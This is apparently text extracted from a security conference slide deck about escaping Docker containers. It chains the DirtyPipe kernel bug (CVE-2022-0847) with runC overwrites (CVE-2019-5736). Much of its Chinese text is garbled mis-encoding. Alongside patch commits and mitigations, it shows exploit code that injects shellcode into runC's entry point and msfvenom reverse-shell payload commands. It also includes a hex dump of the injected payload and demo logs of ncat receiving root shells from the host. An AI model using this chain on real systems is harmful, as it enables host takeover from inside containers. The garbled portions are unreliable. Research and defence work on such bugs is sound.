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DirtyPipe (CVE-2022-0847)

The�Dirty�Pipe�Vulnerability
Max�Kellermann max.kellermann@ionos.com

Abstract

This�is�the�story�of�CVE-2022-0847,�a�vulnerability�in�the�Linux�kernel�
since�5.8�which�allows�overwriting�data�in�arbitrary�read-only�files.�
This�leads�to�privilege�escalation�because�unprivileged�processes�can�
inject�code�into�root�processes.

It�is�similar�to CVE-2016-5195�Dirty�Cow but�is�easier�to�exploit.

The�vulnerability was�fixed in�Linux�5.16.11,�5.15.25�and�5.10.102.
➜ dp�uname�-r
5.8.0-050800rc1-generic
➜ dp�cat�/etc/passwd�|�head�-n�1
root:x:0:0:root:/root:/usr/bin/zsh
➜ dp�./exploit�/etc/passwd�1�hacked
It�worked!
➜ dp�cat�/etc/passwd�|�head�-n�1
rhacked0:0:root:/root:/usr/bin/zsh PoC⥝佖/etc/passwd

mailto:max.kellermann@ionos.com
https://dirtycow.ninja/
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903
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⴯䒊䎇鵘遤㺂㐼
➜ ~�docker�run�dirtypipe:exp-1
[*]�exploiting�DirtyPipe (CVE-2022-0847)
[+]�runC opened�for�reading�as�/proc/self/fd/3
[+]�got�entry�point:�0x232390
[*]�injecting�payload�into�runC at�entrypoint 0x232390
[+]�done
港ゑ⿿䔀shell
➜ ~�ncat -klvnp 4444
Ncat:�Version�7.60�(�https://nmap.org/ncat )
Ncat:�Generating�a�temporary�1024-bit�RSA�key.�
Ncat:�Listening�on�:::4444
Ncat:�Listening�on�0.0.0.0:4444
Ncat:�Connection�from�192.168.3.101.
Ncat:�Connection�from�192.168.3.101:51995.
exit
Ncat:�Connection�from�192.168.3.101.
Ncat:�Connection�from�192.168.3.101:51998.
python3�-c�"import�pty;pty.spawn('/bin/bash')"
<08da5d2c57febb811f43f7ddf67a647d38c8e370d914ef6af#
<08da5d2c57febb811f43f7ddf67a647d38c8e370d914ef6af#�cd�/
cd�/
root@ubuntu-bionic:/#
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名噪一时的CVE-2019-573602



CVE-2019-5736

絊畮1

终端2
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shell1%�runc run�ctr
shell2%�runc exec�ctr�sh
[�this�will�block�for�500�seconds�]�#�sleep 500猲
shell1[ctr]#�ps aux
PID�USER�TIME�COMMAND
1�root�0:00�sh
18 root�0:00�{runc:[2:INIT]}�/proc/self/exe�init
24�root�0:00�ps aux
shell1[ctr]#�ls�/proc/18/fd -la
total�0
dr-x------ 2�root�root�0�Nov�28�14:29�.
dr-xr-xr-x�9�root�root�0�Nov�28�14:29�..
...
lr-x------ 1�root�root�64�Nov�28�14:29�4�->�/run/runc/test
...
shell1[ctr]#�ls�-la�/proc/18/fd/4/../../..
total�0
...
drwxr-xr-x�1�root�root�1872�Nov�25�09:22�bin
drwxr-xr-x�1�root�root�552�Nov�25�09:46�boot
drwxr-xr-x�21�root�root�4240�Nov�27�22:09�dev
drwxr-xr-x�1�root�root�4958�Nov�28�14:28�etc
drwxr-xr-x�1�root�root�12�Jun�15�12:20�home
drwxr-xr-x�1�root�root�1572�Oct�30�12:00�lib

CVE-2016-9962

⥝㢕倰呩Set�init processes�as�non-dumpable

WhoC



⥝㢕㸝Ⰼ♸䧭劥涸⽇䒢
nsenter:�clone�/proc/self/exe�to�avoid�exposing�host�binary�to�container

There�are�quite�a�few�circumstances�where�/proc/self/exe�pointing�to�a
pretty�important�container�binary�is�a�_bad_�thing,�so�to�avoid�this�we
have�to�make�a�copy�(preferably�doing�self-clean-up�and�not�being
writeable).

We�require�memfd_create(2)�-- though�there�is�an�O_TMPFILE�fallback�--
but�we�can�always�extend�this�to�use�a�scratch�MNT_DETACH�overlayfs or
tmpfs.�The�main�downside�to�this�approach�is�no�page-cache�sharing�for
the�runc binary�(which�overlayfs would�give�us)�but�this�is�far�less
complicated.

This�is�only�done�during�nsenter so�that�it�happens�transparently�to�the
Go�code,�and�any�libcontainer users�benefit�from�it.�This�also�makes
ExtraFiles and�--preserve-fds handling�trivial�(because�we�don't�need�to
worry�about�it).

Fixes:�CVE-2019-5736
Co-developed-by:�Christian�Brauner <christian.brauner@ubuntu.com>
Signed-off-by:�Aleksa Sarai�asarai@suse.de

nsenter:�cloned_binary:�try�to�ro-bind�/proc/self/exe�before�copying

The�usage�of�memfd_create(2)�and�other�copying�techniques�is�quite
wasteful,�despite�attempts�to�minimise it�with�_LIBCONTAINER_STATEDIR.
memfd_create(2)�added�~10M�of�memory�usage�to�the�cgroup associated�with
the�container,�which�can�result�in�some�setups�getting�OOM'd (or�just
hogging�the�hosts'�memory�when�you�have�lots�of�created-but-not-started
containers�sticking�around).

The�easiest�way�of�solving�this�is�by�creating�a�read-only�bind-mount�of
the�binary,�opening�that�read-only�bindmount,�and�then�umounting it�to
ensure�that�the�host�won't�accidentally�be�re-mounted�read-write.�This
avoids�all�copying�and�cleans�up�naturally�like�the�other�techniques
used.�Unfortunately,�like�the�O_TMPFILE�fallback,�this�requires�being
able�to�create�a�file�inside�_LIBCONTAINER_STATEDIR�(since�bind-mounting
over�the�most�obvious�path�-- /proc/self/exe�-- is�a�*very�bad�idea*).

Unfortunately�detecting�this�isn't�fool-proof�-- on�a�system�with�a
read-only�root�filesystem�(that�might�become�read-write�during�"runc
init"�execution),�we�cannot�tell�whether�we�have�already�done�an�ro
remount.�As�a�partial�mitigation,�we�store�a�_LIBCONTAINER_CLONED_BINARY
environment�variable�which�is�checked�*alongside*�the�protection�being
present.

Signed-off-by:�Aleksa Sarai�asarai@suse.de

䲿❜傞ꢂ2019-03-01龇鵛晜劥v1.0.0-rc7

䲿❜傞ꢂ2019-02-08龇鵛晜劥v1.0.0-rc7

mailto:asarai@suse.de
mailto:asarai@suse.de
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CVE-2019-5736�(runC):�rexec callers�as�memfd

Adam�Iwaniuk and�Borys Popławski discovered�that�an�attacker�can�compromise�the
runC host�binary�from�inside�a�privileged�runC container.�As�a�result,�this
could�be�exploited�to�gain�root�access�on�the�host.�runC is�used�as�the�default
runtime�for�containers�with�Docker,�containerd,�Podman,�and�CRI-O.
➜ lxc git:(master)�tail�-n�14�./src/lxc/rexec.c
/**
*�This�function�will�copy�any�binary�that�calls�liblxc into�a�memory�file�and
*�will�use�the�memfd to�rexecute the�binary.�This�is�done�to�prevent�attacks
*�through�the�/proc/self/exe�symlink to�corrupt�the�host�binary�when�host�and
*�container�are�in�the�same�user�namespace�or�have�set�up�an�identity�id
*�mapping:�CVE-2019-5736.
*/
__attribute__((constructor))�static�void�liblxc_rexec(void)
{

if�(getenv("LXC_MEMFD_REXEC")�&&�lxc_rexec("liblxc"))�{
fprintf(stderr,�"Failed�to�re-execute�liblxc via�memory�file�descriptor\n");
_exit(EXIT_FAILURE);

}
}



꡼곿♸䙼罌

Ø 厤猫䠑⛐♳runC鵳鷍絶靽

Ø ♧湬ⵌ䔲⵸剒倝晜劥涸runC鿪僽ro mount⥝㢕倰呩

Ø 剣腊⸂ⱗrunC =>�鷖鹟勉ꣳ䲿⼮怩峯鲮⻊⚹㺂㐼鷖鹟怩峯涸♧⚡倝鸀䖈

Ø memfd⥝㢕倰呩嶊署㣐ꆀⰻ㶸爢⼓⚥剣⿿㼆㡮갉

Ø 㹐錜♳ro mount倰呩僽♧猫⡛䧭劥굥ꤗ鲮獴偽〳⾩ꬋ

Ø 㥵呢ⵄ欽鵯⚡꣚⯘椠倛⛓骉ャ㖞兞䩛岁



常见利用场景与利用手法03



䌢錛涸⚙猫ⵄ欽㖞兞

前提：runC是动态链接的



䌢錛涸♲猫ⵄ欽䩛岁

var�payload�=�"#!/bin/bash�\n"�+�shellCmd
for�{

writeHandle,�_�:=�os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd),�os.O_WRONLY|os.O_TRUNC,�0700)
if�int(writeHandle.Fd())�>�0�{

writeHandle.Write([]byte(payload))
//�msfvenom -a�x86�-p�linux/x86/exec�CMD="id�>�/tmp/hacked�&&�hostname�>>�/tmp/hacked"�-f�elf
const�unsigned�char�malicious_elf_bytes[]�=�{

/*�0x7f,�*/�0x45,�0x4c,�0x46,�0x01,�0x01,�0x01,�0x00,�0x00,�0x00,�0x00,�0x00,
/*�ELFⶥ⡮鿈ⴔ */

};
int�main(int�argc,�char�**argv)�{

if�(write_with_dirtypipe(path,�1,�malicious_elf_bytes,�malicious_elf_bytes_size)�!=�0)�{
runc_fd_read =�open("/proc/self/exe",�O_RDONLY);
lseek(runc_fd_read,�ELF_ENTRYPOINT_OFFSET,�SEEK_SET);
nbytes =�read(runc_fd_read,�&entrypoint,�sizeof(entrypoint));
//�msfvenom -p�linux/x64/shell_reverse_tcp LHOST=1.1.1.1�LPORT=4444�-f�raw�|�xxd -i
char�payload[]�=�{

0x6a,�0x29,�0x58,�0x99,�0x6a,�0x02,�0x5f,�0x6a,�0x01,�0x5e,�0x0f,�0x05,
/*�payloadⶥ⡮鿈ⴔ */

};
write_with_dirtypipe(runc_fd_read,�entrypoint,�payload,�payload_len);

ELF俒⟝岤Ⰶ

ⱗELF俒⟝

ⱗ膃劥

DirtyPipe偽岁ⵄ欽



鷖鹟呩⢾CVE-2022-0185ぢrunCⱗ膃劥

ⰻ呍UAF⥝佖Pipe Buffer Flag
->�鲮⻊⚹Dirtypipe
->�ⵄ欽DirtypipeⱗrunC
->�鷖鹟䧭⸆
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➜ file�`which�runc`
/usr/local/sbin/runc:�ELF 64-bit�LSB�executable,�x86-64,�version�1�(SYSV),�
statically�linked,�BuildID[sha1]=0afa4292e5163007028fbde6effb1a2edc1a3f49,�for�GNU/Linux�3.2.0,�stripped

➜ xxd `which�runc`�|�head�-n�1
00000000:�7f45�4c46�0201�0100�0000�0000�0000�0000��.ELF............

src: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#/media/File:Elf-layout--en.svg



ELF俒⟝岤Ⰶ涸⚙猫䙼騟

➜ ~�objdump -dj '.text'�`which�runc`�|�sed�-n�'13,24p'
0000000000232390�<_start@@Base>:
232390: 31�ed���������������� xor %ebp,%ebp
232392: 49�89�d1������������� mov����%rdx,%r9
232395: 5e������������������� pop����%rsi
232396: 48�89�e2������������� mov����%rsp,%rdx
232399: 48�83�e4�f0���������� and����$0xfffffffffffffff0,%rsp
23239d: 50������������������� push���%rax
23239e: 54������������������� push���%rsp
23239f: 4c�8d�05�6a�c2�46�00� lea����0x46c26a(%rip),%r8
2323a6: 48�8d�0d�f3�c1�46�00� lea����0x46c1f3(%rip),%rcx
2323ad: 48�8d�3d�8c�b4�06�00� lea����0x6b48c(%rip),%rdi
2323b4: ff�15�16�7c�a8�00���� callq *0xa87c16(%rip)

➜ ~�cat�/proc/sys/kernel/randomize_va_space
2�
➜ ~�readelf -h�`which�runc`�|�sed�-n�'1,3p;8p;11p'
ELF�Header:
Magic:���7f�45�4c�46�02�01�01�00�00�00�00�00�00�00�00�00
Class:�����������������������������ELF64
Type:������������������������������DYN�(Shared�object�file)
Entry�point�address:���������������0x232390

①

②
Ύ

΍
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1.㼜runC⥝佖⚹偽PIE♶㥩㹊梡
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2.㖈ㆭꅽ佞縨payload
1.㼊䪪駈㢿padding
2.㼊䪪〳欽section(s)�Ԩ

➜ ~�readelf --wide�--section-headers�`which�runc`�|�sed�-n�'4,9p'
[Nr]�Name��������������Type������������Address����������Off����Size���ES�Flg Lk�Inf�Al
[�0]�������������������NULL������������0000000000000000�000000�000000�00������0���0��0
[�1]�.interp PROGBITS��������0000000000000270�000270�00001c�00���A��0���0��1
[�2]�.note.ABI-tag NOTE 000000000000028c 00028c�000020�00���A��0���0��4
[�3]�.note.go.buildid NOTE 00000000000002ac�0002ac�000064�00���A��0���0��4
[�4]�.note.gnu.build-id NOTE 0000000000000310�000310�000024�00���A��0���0��4
➜ ~�readelf --wide�--program-headers�`which�runc`�|�sed�-n�'7p;12,14p'
Type�����������Offset���VirtAddr PhysAddr FileSiz MemSiz Flg Align
NOTE 0x00028c 0x000000000000028c�0x000000000000028c�0x0000a8�0x0000a8 R���0x4

157
bytes

runC�ver:�1.0.3
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➜ ./runc_latest -v
runc version�1.1.1
commit:�v1.1.0-20-g52de29d7
spec:�1.0.2-dev
go:�go1.17.6
libseccomp:�2.5.3

➜ readelf --wide�--program-headers�./runc_latest |�sed�-n�'7,15p'
Type�����������Offset���VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD�����������0x000000�0x0000000000400000�0x0000000000400000�0x0004e8�0x0004e8�R���0x1000
LOAD�����������0x001000�0x0000000000401000�0x0000000000401000�0x46e0e1�0x46e0e1�R�E�0x1000
LOAD�����������0x470000�0x0000000000870000�0x0000000000870000�0x4562e2�0x4562e2�R���0x1000
LOAD�����������0x8c68a8�0x0000000000cc78a8�0x0000000000cc78a8�0x0336c8�0x071948�RW��0x1000
NOTE�����������0x000200�0x0000000000400200�0x0000000000400200�0x000044�0x000044�R���0x4
TLS������������0x8c68a8�0x0000000000cc78a8�0x0000000000cc78a8�0x000028�0x000078�R���0x8
GNU_STACK������0x000000�0x0000000000000000�0x0000000000000000�0x000000�0x000000�RW��0x10
GNU_RELRO������0x8c68a8�0x0000000000cc78a8�0x0000000000cc78a8�0x003758�0x003758�R���0x1

runC NOTE媯〫剣68㶶蒜
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➜ readelf --wide�--section-headers�./runc_latest 2>/dev/null�|�sed�-n�'4p;6,7p;29,30p'

[Nr]�Name��������������Type������������Address����������Off����Size���ES�Flg Lk�Inf�Al
[�1]�.note.gnu.build-id�NOTE������������0000000000400200�000200�000024�00���A��0���0��4
[�2]�.note.ABI-tag�����NOTE������������0000000000400224�000224�000020�00���A��0���0��4
[24]�.go.buildinfo PROGBITS��������0000000000cdfd50�8ded50�000020�00��WA��0���0�16
[25]�.noptrdata PROGBITS��������0000000000cdfd80�8ded80�01a960 00��WA��0���0�32

008DED50���FF�20�47�6F��20�62�75�69��6C�64�69�6E��66�3A�08�00��.�Go�buildinf:..
008DED60���50�C0�CC�00��00�00�00�00��A0�C0�CC�00��00�00�00�00��P...............
008DED70���00�00�00�00��00�00�00�00��00�00�00�00��00�00�00�00��................
008DED80���05�2F�0A�3E��20�3A�01�01��01�01�0A�7C��04�05�01�03��./.>�:.....|....

008DED90���3C�61�2E�2F��2F�00�5C�27��5C�22�5C�5C��01�02�03�00��<a.//.\'\"\\....
008DEDA0���3C�70�3E�00��3C�74�64�00��3C�74�68�00��3C�68�31�00��<p>.<td.<th.<h1.
008DEDB0���3C�68�32�00��3C�68�33�00��3C�68�34�00��3C�68�35�00��<h2.<h3.<h4.<h5.
008DEDC0���3C�68�36�00��2E�2E�2F�00��EF�BF�BD�00��6E�75�6C�6C��<h6.../.....null
008DEDD0���00�06�0C�12��00�06�0C�12��3C�74�74�3E��3C�2F�61�3E��........<tt></a>

008DEDE0���26�6C�74�3B��3C�2F�70�3E��3C�68�72�3E��3C�75�6C�3E��&lt;</p><hr><ul>
008DEDF0���3C�6F�6C�3E��26�67�74�3B��3C�64�6C�3E��3C�6C�69�3E��<ol>&gt;<dl><li>
008DEE00���3C�64�64�3E��3C�64�74�3E��3C�74�72�3E��3C�62�72�3E <dd><dt><tr><br>

008DEE10���3C�65�6D�3E��FF�FF�FF�FF��FF�FF�FF�FF��01�00�00�00��<em>............
008DEE20���FF�FF�FF�FF��08�00�00�00��FF�FF�FF�FF��01�00�00�00� ................

008DEE30���08�00�00�00��01�00�00�00��2D�2D�2D�0A��26�6C�74�3B� ........---.&lt;
008DEE40���26�67�74�3B��5C�75�30�30��26�61�6D�70��3B�00�00�00 &gt;\u00&amp;...
008DEE50���3C�64�65�6C��3E�00�00�00��3C�2F�74�74��3E�00�00�00��<del>...</tt>...
008DEE60���3C�70�72�65��3E�00�00�00��3C�2F�75�6C��3E�00�00�00��<pre>...</ul>...
008DEE70���3C�2F�6F�6C��3E�00�00�00��3C�2F�64�6C��3E�00�00�00��</ol>...</dl>...
008DEE80���3C�2F�6C�69��3E�00�00�00��3C�2F�64�64��3E�00�00�00��</li>...</dd>...
008DEE90���3C�2F�64�74��3E�00�00�00��3C�2F�74�64��3E�00�00�00 </dt>...</td>...
008DEEA0���3C�2F�74�68��3E�00�00�00��3C�2F�74�72��3E�00�00�00��</th>...</tr>...
008DEEB0���3C�2F�68�31��3E�00�00�00��3C�2F�68�32��3E�00�00�00��</h1>...</h2>...
008DEEC0���3C�2F�68�33��3E�00�00�00��3C�2F�68�34��3E�00�00�00 </h3>...</h4>...

--- runc --0x8DEEC0/0x8FA980-------------------------------------

008DED50 50�51�52�56��57�41�53�48��31�C0�48�83��C0�39�0F�05
008DED60� 83�F8�00�74��20�B8�F0�1B��40�00�48�8D��1D�00�00�00
008DED70� 00�90�48�81��EB�71�0D�80��00�48�01�C3��41�5B�5F�5E
008DED80� 5A�59�58�53��C3�55�48�89��E5�48�31�D2��6A�01�5E�6A
008DED90 02�5F�6A�29��58�0F�05�48��83�EC�08�C7��04�24�02�00
008DEDA0� 11�5C�C7�44��24�04�C0�A8��00�66�48�8D��34�24�48�83
008DEDB0�� C4�08�5B�48��31�DB�6A�10��5A�6A�03�5F��6A�2A�58�0F
008DEDC0 05�48�31�F6��B0�21�0F�05��48�FF�C6�48��83�FE�02�7E
008DEDD0 F3�48�31�C0��48�31�F6�48��BF�2F�2F�62��69�6E�2F�73
008DEDE0� 68�56�57�48��89�E7�48�31��D2�B0�3B�0F��05�75�6C�3E
008DEDF0���3C�6F�6C�3E��26�67�74�3B��3C�64�6C�3E��3C�6C�69�3E
008DEE00���3C�64�64�3E��3C�64�74�3E��3C�74�72�3E��3C�62�72�3E
008DEE10���3C�65�6D�3E��FF�FF�FF�FF��FF�FF�FF�FF��01�00�00�00
008DEE20���FF�FF�FF�FF��08�00�00�00��FF�FF�FF�FF��01�00�00�00
008DEE30���08�00�00�00��01�00�00�00��2D�2D�2D�0A��26�6C�74�3B
008DEE40���26�67�74�3B��5C�75�30�30��26�61�6D�70��3B�00�00�00
008DEE50���3C�64�65�6C��3E�00�00�00��3C�2F�74�74��3E�00�00�00
008DEE60���3C�70�72�65��3E�00�00�00��3C�2F�75�6C��3E�00�00�00
008DEE70���3C�2F�6F�6C��3E�00�00�00��3C�2F�64�6C��3E�00�00�00
008DEE80���3C�2F�6C�69��3E�00�00�00��3C�2F�64�64��3E�00�00�00
008DEE90���3C�2F�64�74��3E�00�00�00��3C�2F�74�64��3E�00�00�00
008DEEA0���3C�2F�74�68��3E�00�00�00��3C�2F�74�72��3E�00�00�00
008DEEB0���3C�2F�68�31��3E�00�00�00��3C�2F�68�32��3E�00�00�00
008DEEC0���3C�2F�68�33��3E�00�00�00��3C�2F�68�34��3E�00�00�00
--- runc --0x8DEEC0/0x8FA980--------------------------



DEMO 1 㺂㐼ⰻexec
➜ ~�docker�run�--rm�-v�`pwd`/exp:/exp�-it�--name�escape�ubuntu:18.04�/bin/bash
root@60adb7f4b502:/#�cd�/exp;�./escape_with_dirtypipe_exec
[*]�exploiting�DirtyPipe (CVE-2022-0847)
[*] waiting�for�runC to�be�executed�in�the�container
[+]�runC catched:�/proc/353/exe
[+]�original�entrypoint:�0x401bf0
[+]�OEP�in�payload�updated
[+] remote�IP�and�port�in�payload�updated
[*]�parsing�runC ELF
[+]�PT_NOTE�segment�4�found
[+]�section�.go.buildinfo found
[*]�inject->off�mod�4096�=�0xd50
[*]�inject->secaddr mod�4096�=�0x0
[+]�inject->secaddr +=�0xd50
[+] nop virtual�addr in�payload�updated�to�0x800d71
[*] writing�payload�into�runC with�dirtypipe
[+]�157�bytes�payload�injected�at�0x8ded50�offset�to�target�file
[*]�updating�section�header�with�dirtypipe
[+]�section�.go.buildinfo found
[+]�section�header�updated
[*]�updating�segment�header�with�dirtypipe
[+]�segment�header�updated
[*]�updating�entrypoint to�0x800d50�with�dirtypipe
[+]�exploit�succeeded

➜ ~�ncat -klvnp 4444
Ncat:�Version�7.91�(�https://nmap.org/ncat )
Ncat:�Listening�on�:::4444
Ncat:�Listening�on�0.0.0.0:4444
Ncat:�Connection�from�192.168.0.102.
Ncat:�Connection�from�192.168.0.102:53425.
Ncat:�Connection�from�192.168.0.102.
Ncat:�Connection�from�192.168.0.102:53427.
Ncat:�Connection�from�192.168.0.102.
Ncat:�Connection�from�192.168.0.102:53428.
cat�/etc/passwd�|�grep�vagrant
vagrant:x:1000:1000:,,,:/home/vagrant:/usr/bin/zsh

➜ ~�docker�exec�-it�escape�/exp/bash_evil
ERRO[0000]�No�help�topic�for�'/exp/bash_evil'
➜ ~�docker�run�--rm�-it�ubuntu:18.04�hostname
d2d8b123f631
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DEMO 2 ⢪欽Ꞥ⫸
➜ ~�docker�run�dirtypipe:escape
[*]�exploiting�DirtyPipe (CVE-2022-0847)
[+]�runC opened�for�reading�as�/proc/self/fd/3
[+]�executing�/escape_with_dirtypipe_image
[+]�original�entrypoint:�0x232390
[+]�OEP�in�payload�updated
[+] remote�IP�and�port�in�payload�updated
[*]�parsing�runC ELF
[+]�PT_NOTE segment�5�found
[+]�section�.go.buildinfo found
[*]�inject->off�mod�4096�=�0x3b0
[*]�inject->secaddr mod�4096�=�0x0
[+]�inject->secaddr +=�0x3b0
[+] nop virtual�addr in�payload�updated�to�0x8003d1
[*]�writing�payload�into�runC with�dirtypipe
[+]�157�bytes�payload�injected�at�0xacd3b0�offset�to�target�file
[*]�updating�section�header�with�dirtypipe
[+]�section�.go.buildinfo found
[+]�section�header�updated
[*] updating�segment�header�with�dirtypipe
[+]�segment�header�updated
[*] updating�entrypoint to�0x8003b0�with�dirtypipe
[+]�exploit�succeeded

➜ ~�ncat -klvnp 4444
Ncat:�Version�7.91�(�https://nmap.org/ncat )
Ncat:�Listening�on�:::4444
Ncat:�Listening�on�0.0.0.0:4444
Ncat:�Connection�from�192.168.0.102.
Ncat:�Connection�from�192.168.0.102:54172.
cat�/etc/passwd�|�grep�vagrant
vagrant:x:1000:1000:,,,:/home/vagrant:/usr/bin/zsh
Ncat:�Connection�from�192.168.0.102.
Ncat:�Connection�from�192.168.0.102:55044.
Ncat:�Connection�from�192.168.0.102.
Ncat:�Connection�from�192.168.0.102:55045.
Ncat:�Connection�from�192.168.0.102.
Ncat:�Connection�from�192.168.0.102:55046.

➜ dirtypipe docker�run�--rm�-it�ubuntu:18.04�hostname
d5e509321515a
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__attribute__�((constructor))�void�run_at_link(void) {
int�runc_fd_read =�open("/proc/self/exe",�O_RDONLY);

}
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